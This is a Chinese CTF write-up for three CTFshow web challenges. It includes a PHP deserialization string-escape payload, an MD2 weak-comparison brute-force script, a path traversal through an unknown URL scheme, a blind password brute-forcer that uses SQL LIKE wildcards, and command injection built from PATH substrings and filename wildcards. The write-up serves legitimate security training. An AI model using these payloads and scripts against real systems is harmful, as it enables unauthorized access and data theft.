CTFshow-月饼杯

官方wp地址:https://wp.ctf.show/d/146-wp/3

web1_此夜圆

字符逃逸

大佬文章:PHP反序列化字符串逃逸

我的理解:

字符逃逸基于PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的特点。

在拥有某种能够在代码执行过程中改变字符串长度的方法后,我们输入字符串的长度会成为序列化字符串中变量值的长度属性(长度属性决定反序列化时提取的字符串长度),而代码执行过程中字符串长度变化并不会改变该字符串长度属性,这种实际长度上的变化与长度属性的差值就是字符逃逸的关键,通过长度差我们可以构造新变量or覆盖变量

注意,构造payload时必须闭合前面的",这是由于左右两边的"只要处于闭合状态,中间任何非"的字符都会被当成字符串作为变量值,不具有其他作用。

解题过程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
    $this->uname=$uname;
    $this->password=$password;
}
public function __wakeup()
{
        if($this->password==='yu22x')
        {
            include('flag.php');
            echo $flag;	
        }
        else
        {
            echo 'wrong password';
        }
    }
}

function filter($string){  // 字符串处理
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1]; // 接收参数
$password=1; // 初始password值
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

 ​ ​ ​ ​ ​ 锁定flag的条件$this->password==='yu22x',但是初始password=1,,我们要让password等于'yu22x',就需要构造字符逃逸";s:8:"password";s:5:"yu22x";}闭合前面的"、{,让后面的password值无法被提取。

 ​ ​ ​ ​ ​ 此时,我们的序列化字符串为:

1
O:1:"a":2:{s:5:"uname";s:30:"";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

 ​ ​ ​ ​ ​ payload大致结构已经没什么问题,但是uname值的属性s:30:"";会让uname在反序列化时取30长度的字符,而我们的输入根本不会在代码执行后改变字符长度。这时候就需要函数Filter,Filter的作用是将Firebasky替换为Firebaskyup,替换后会多出两个字符,在反序列化时我们就能''逃出''两个字符,通过15个Firebasky就可以让30个字符";s:8:"password";s:5:"yu22x";}全部逃出。

payload

1
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

比赛时就做出这道题了,之后全在划水。(菜哭了...)

web2_故人心

Hint:存在一个robots.txt

解题过程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

第一关

is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0

这里涉及到了一个php对小数平方的处理方法:php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效

但是又由于长度问题,我们选择科学计数法完成绕过,payload:a=1e-162

第二关

($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))

访问robots.txt得到一个新的文件地址/hinthint.txt,访问后得到

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

看了还是没什么思路,那就从md5碰撞原理着手。

 ​ ​ ​ ​ ​ 在==(弱等于)的情况下,字符串与数字的比较会转化为数字与数字的比较,而php对0e...结构的字符串与数字比较时会统一解释为数字0

1
2
3
4
5
var_dump('0e44465a'==0); // true
var_dump('0e123'==0); // true
var_dump('0e44465a'=='0e123'); // false;这是字符串与字符串的比较,并不满足转换规则
var_dump('0e44465a'==0e123); // true;这是字符串与数字的比较,满足转换规则
var_dump('0e44465'=='0e123'); // true;这是"伪数字"间的比较。

 ​ ​ ​ ​ ​ 为什么'0e44465a'!='0e123',而'0e44465'=='0e123'呢?这是因为0e数字结构的字符串会被php认作科学计数法,等效数字即为0,但其依然是字符串。因此'0e44465a'!='0e123'是字符串间的比较;'0e44465'=='0e123'是科学计数法之间的比较。md5碰撞就是通过科学计数法的比较完成弱等于的判断

通过md5碰撞原理,我们只需要寻找0e数字开头且md2后依然是0e数字结构的字符串(个人见解)。

贴一下大佬脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
for($i=0;$i<99999;$i++){
    $x1=hash("md2", '0e'.$i.'024452');
    if(substr($x1,0,2)==='0e'  and is_numeric($x1)){
        break;
    }
}
for($j=0;$j<999999;$j++){
    $x2=hash('md2',hash("md2", '0e'.$j.'48399'));
    if(substr($x2,0,2)==='0e'  and is_numeric($x2)){
        break;
    }
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
?>

 ​ ​ ​ ​ ​ 分析脚本发现我寻找字符串的思路有点偏复杂了,0e数字结构字符串会被php认为是科学计数法,因此会通过is_numeric函数的验证,这样的思路比筛选0e后面是否是数字要简单得多。

爆破出来的结果:

一次md2弱等于$b=0e652024452

两次md2弱等于$c=0e603448399

第三关

preg_match('/ctfshow.com$/',$host['host'])

通过了前两关会给出hint.php源码内容:

1
2
<?php 
$flag="flag in /fl0g.txt";

直接给出了flag的地址,接下来就需要我们去读取文件内容。

先随便POST个http://ctfshow.com,回显

1
Array ( [scheme] => http [host] => ctfshow.com )

host名应该满足preg_match('/ctfshow\.com$/',$host['host'])的条件,但是没有回显'差点点就成功了!',我也不清楚是什么原因,暂且叫做玄学吧。

接下来碰到一个问题,不在web服务目录/var/www/html的文件怎么通过web访问到呢?

这里涉及到了一个知识点:

php会将不认识的协议当作目录

 ​ ​ ​ ​ ​ 就是说,当我们使用a://ctfshow.com时,虽然按照url的结构会被解析为Array ( [scheme] => a [host] => ctfshow.com ),但是a已经被看作是一个目录,因此ctfshow.com是在/var/www/html/a/的一个目录,正好文件处理函数是file_get_contents,我们就使用目录穿越来读取根目录下的文件'/fl0g.txt'。

payload

uel=a://ctfshow.com/../../../../../fl0g.txt

web3_莫负婵娟

Hint:环境变量 +linux字符串截取 + 通配符

解题过程

F12看源码发现SQL语句

1
2
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

fuzz一下,' " union select sleep ^ # % () - \ ,都被过滤了,但是由于这里使用的是like模糊匹配,可以单字符匹配,我们可以先试探出password的总长度。

先来学习一下like的匹配规则:

通配符
% 代表一个或多个字符的通配符
_ 代表一个字符的通配符

然后一直添加_试探,直到填入32个_,此时回显I have filtered all the characters. Why can you come in? get out!,获得password长度。

接下来就是爆破密码,脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests as req
import string

url = 'http://83fea8dc-883c-49f1-9991-a1291ef09b08.chall.ctf.show/login.php'
letters = string.ascii_letters + string.digits
passwd = ''
while True:
    length = len(passwd)
    for i in letters:
        payload = passwd + i + "_" * (32 - (length + 1))
        data = {
            'username': 'yu22x',
            'password': payload
        }
        res = req.post(url, data=data)
        if 'wrong' not in res.text:
            passwd += i
            print(passwd)
            break
    if length >= len(passwd):
        break

注出password:67815b0c009ee970fe4014abaa3Fa6A0,登录。

输入IP查看连接状态,应该是RCE,fuzz发现只能用大写字母、数字和{}~_;:?.$#这些字符。

此时看hint:环境变量 +linux字符串截取 + 通配符

环境变量总览

https://jingyan.baidu.com/article/00a07f382b84d682d028dc9c.html

linux字符串截取

引用一下Shell字符串截取文章中关于Linux字符串截取的总结:

格式 说明
${string: start :length} 从 string 字符串的左边第 start 个字符开始,向右截取 length 个字符。
${string: start} 从 string 字符串的左边第 start 个字符开始截取,直到最后。
${string: 0-start :length} 从 string 字符串的右边第 start 个字符开始,向右截取 length 个字符。
${string: 0-start} 从 string 字符串的右边第 start 个字符开始截取,直到最后。
${string#*chars} 从 string 字符串第一次出现 *chars 的位置开始,截取 *chars 右边的所有字符。
${string##*chars} 从 string 字符串最后一次出现 *chars 的位置开始,截取 *chars 右边的所有字符。
${string%*chars} 从 string 字符串第一次出现 *chars 的位置开始,截取 *chars 左边的所有字符。
${string%%*chars} 从 string 字符串最后一次出现 *chars 的位置开始,截取 *chars 左边的所有字符。

已经知道了是环境变量加上字符串截取,接下来就是构造payload命令执行的过程。

这里有两种思路:题目环境截取字符串curl外带环境变量

这里只尝试第一种:

      127.0.0.1;${PATH:5:1}${PATH:2:1}执行ls命令,获得当前目录下文件P1099.php flag.php index.php login.php style.css style2.css,发现flag.php是唯一一个文件名是四个字符的文件,因此可以通过通配符????.???表示。

最后读取flag.php:

1
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.??? # nl flag.php